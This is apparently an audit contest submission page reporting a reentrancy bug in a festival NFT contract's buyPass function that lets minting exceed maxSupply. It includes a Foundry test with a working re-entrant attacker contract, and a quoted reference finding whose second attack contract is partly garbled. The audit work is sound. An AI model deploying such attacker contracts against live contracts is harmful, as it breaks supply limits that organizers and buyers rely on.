Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass — passSupply is incremented after _mint, so a re-entrant buy passes the supply check and maxSupply can be exceeded

Root + Impact

Description

buyPass() increments passSupply after _mint(), and _mint() calls the receiver's onERC1155Received hook when the buyer is a contract:

@> // Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];

A malicious receiver contract can re-enter buyPass() from that callback while passSupply still holds its old value, so the supply check passSupply[collectionId] < passMaxSupply[collectionId] passes again and another pass is minted. The maxSupply cap can therefore be exceeded. (Slither flags the same buyPass reentrancy.) Each extra pass is still paid for in full, so this is a cap bypass rather than theft — but the maxSupply guarantee the organizer configured is broken.

Risk

Likelihood: Medium — it requires the buyer to be a contract that re-enters from the ERC1155 receiver callback, which is a deliberate attacker setup.

Impact: Low — more passes exist than maxSupply allows, breaking the scarcity the organizer promised; no funds are stolen, because every re-entrant buy still pays the full price.

Proof of Concept

With GENERAL maxSupply = 1, a re-entrant buyer ends with 2 passes and passSupply == 2. The receiver re-enters buyPass() once from onERC1155Received, before the outer call increments the supply.

function test_L1_reentrancyExceedsMaxSupply() public {
// Tighten GENERAL maxSupply to 1.
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
​
ReentrantBuyer buyer = new ReentrantBuyer(festivalPass);
vm.deal(address(buyer), 1 ether);
​
// The buyer re-enters buyPass once from the mint callback.
buyer.buy();
assertEq(festivalPass.balanceOf(address(buyer), 1), 2, "buyer holds 2 passes");
assertEq(festivalPass.passSupply(1), 2, "supply is 2, over maxSupply 1");
}
​
contract ReentrantBuyer {
FestivalPass public immutable festivalPass;
bool public reentered;
​
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
}
​
receive() external payable {}
​
function buy() external {
festivalPass.buyPass{value: 0.05 ether}(1);
}
​
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external
returns (bytes4)
{
if (!reentered) {
reentered = true;
festivalPass.buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
// ... (onERC1155BatchReceived / supportsInterface omitted for brevity)
}

Recommended Mitigation

Follow checks-effects-interactions: increment passSupply before _mint(), or add a reentrancy guard.

// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 29 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!